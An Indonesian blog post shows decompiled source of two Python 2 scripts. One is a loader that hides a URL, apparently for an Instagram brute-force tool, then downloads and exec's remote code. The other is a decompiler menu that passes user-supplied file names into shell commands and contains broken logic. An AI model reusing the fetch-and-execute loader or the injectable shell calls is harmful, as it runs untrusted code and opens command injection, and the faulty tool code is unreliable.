Jadi kemarin ada yang mengklaim bahwa ke-2 file yang terdapat pada repositori ini sulit untuk didekompilasi. Saya lalu mencoba iseng-iseng untuk melakukan dekompilasi, dan hasilnya adalah sebagai berikut:

  • Dekompilasi script igq.py
try:
    import requests, zlib
except:
    print '[+] requests module not found'
    exit()
else:
    try:
        import bs4
    except:
        print '[+] bs4 module not found'
        exit()

    # https://komenk.000webhostapp.com/instabrute/source-code.txt
    url = 'x\x9c\r\xc6A\x0e\x800\x08\x04\xc0\x17\t\x9c\xfd\x8d\xa5$5M\x0b)\xdb\xe8\xf3uN\xd3\x80\xc8\x93\xb9\xfb\xb0\xd9ID\x1e+\xcd\x13W\x04\xa9\x0f\xbe\xe7\xff\xb26\x8c\xd3\xf7R;\xd4\xab\x11^|\x8f\x07\x16?'
    try:
        sc = requests.get(zlib.decompress(url)).content
    except:
        print '[+] Sinyal Error'
        exit()

exec sc
  • Dekompilasi script nn.py
from sys import stdout
import subprocess as sp, sys, os, marshal, re
try:
    from uncompyle6.main import decompile
except Exception as e:
    sp.call('pip2 install uncompyle2', shell=True, stderr=sp.STDOUT)

def keluar():
    print '[!] Exit'
    os.sys.exit()


logo = '\x1b[1;31m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\x1b[0m\n\x1b[1;31m\xe2\x95\x91         \x1b[41m                               \x1b[0m\x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[1;32m \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\x1b[0m \x1b[41m                               \x1b[0m\x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[1;32m \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\x1b[0m\x1b[47m                               \x1b[0m\x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[1;32m \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\x1b[0m\x1b[47m                               \x1b[0m\x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[1;32m \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\x1b[1;34m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\xa6\xe2\x95\xa6  \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\x1b[0m         \x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[1;32m \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\x1b[1;31m\xe2\x95\x91\xe2\x95\xa3 \xe2\x95\x91  \xe2\x95\x91 \xe2\x95\x91\xe2\x95\x91\xe2\x95\x91\xe2\x95\x91\xe2\x95\xa0\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x91\xe2\x95\x91  \xe2\x95\x91\xe2\x95\xa3\x1b[0m          \x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[1;32m \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \x1b[1;32m\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\xa9 \xe2\x95\xa9\xe2\x95\xa9  \xe2\x95\xa9\xe2\x95\xa9\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\x1b[0m \x1b[0;33mpython  \x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[0;33m-\x1b[1;32m\xe2\x96\xba\x1b[0;31m\xe2\x9e\xa4 \x1b[0;34mBy \x1b[1;33m: \x1b[0;35mSumarr ID                      \x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x91\x1b[0;34mGitlab \x1b[1;33m: \x1b[0;35mhttps://gitlab.com/Sumarr-ID   \x1b[1;31m\xe2\x95\x91\x1b[0m\n\x1b[1;31m\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\x1b[0m\n\x1b[0;30m\x1b[44m-\xe2\x96\xba\xe2\x9e\xa4 {01} Decompile python                 \x1b[0m\n\x1b[0;30m\x1b[41m-\xe2\x96\xba\xe2\x9e\xa4 {02} Unmarshal                        \x1b[0m\n\x1b[0;30m\x1b[43m-\xe2\x96\xba\xe2\x9e\xa4 {03} Decompile Marshal-Zlib-Base16    \x1b[0m\n\x1b[0;30m\x1b[45m-\xe2\x96\xba\xe2\x9e\xa4 {04} Decompile Marshal-Zlib-Base32    \x1b[0m\n\x1b[0;30m\x1b[42m-\xe2\x96\xba\xe2\x9e\xa4 {05} Decompile Marshal-Zlib-Base64    \x1b[0m\n\x1b[0;30m\x1b[46m-\xe2\x96\xba\xe2\x9e\xa4 {00} Keluar                           \x1b[0m'

def menu():
    os.system('clear')
    print logo
    print
    masuk = raw_input('[+] Choice : ')
    if masuk == '':
        print '[!] Wrong input'
        keluar()
    elif masuk == '1':
        satu()
    elif masuk == '2':
        satu()
    elif masuk == '3':
        satu()
    elif masuk == '4':
        satu()
    elif masuk == '5':
        satu()
    elif masuk == '6':
        satu()
    elif masuk == '7':
        satu()
    elif masuk == '0':
        keluar()
    else:
        print '[!] Wrong input'
        keluar()


def satu():
    try:
        sc = raw_input('[+] file: ')
        f = open(sc, 'r')
        filedata = f.read()
        f.close()
        newdata = filedata.replace('exec', 'print')
        out = raw_input('[+] Output: ')
        f = open(out, 'w')
        f.write(newdata)
        f.close()
        os.system('touch tes.sh')
        os.system('bash ' + out + ' > tes.py')
        os.remove(out)
        os.rename('tes.py', out)
        os.system('cat ' + out + '')
        ask = raw_input('[+] Decompile Lagi? y/t ')
        if ask == 'y' or ask == 'Y':
            enc()
        elif ask == 't' or ask == 'T':
            sys.exit()
        else:
            print '[*] Pilih Yang Bener !!!'
            raw_input('Tekan Enter untuk Kembali Ke Menu ')
            os.system('clear')
            menu()
    except KeyboardInterrupt:
        print ' Stopped!'
    except IOError:
        print ' File Not Found!'


if __name__ == '__main__':
    menu()

Sekian jurnal singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, dan Anda yang telah membaca jurnal ini.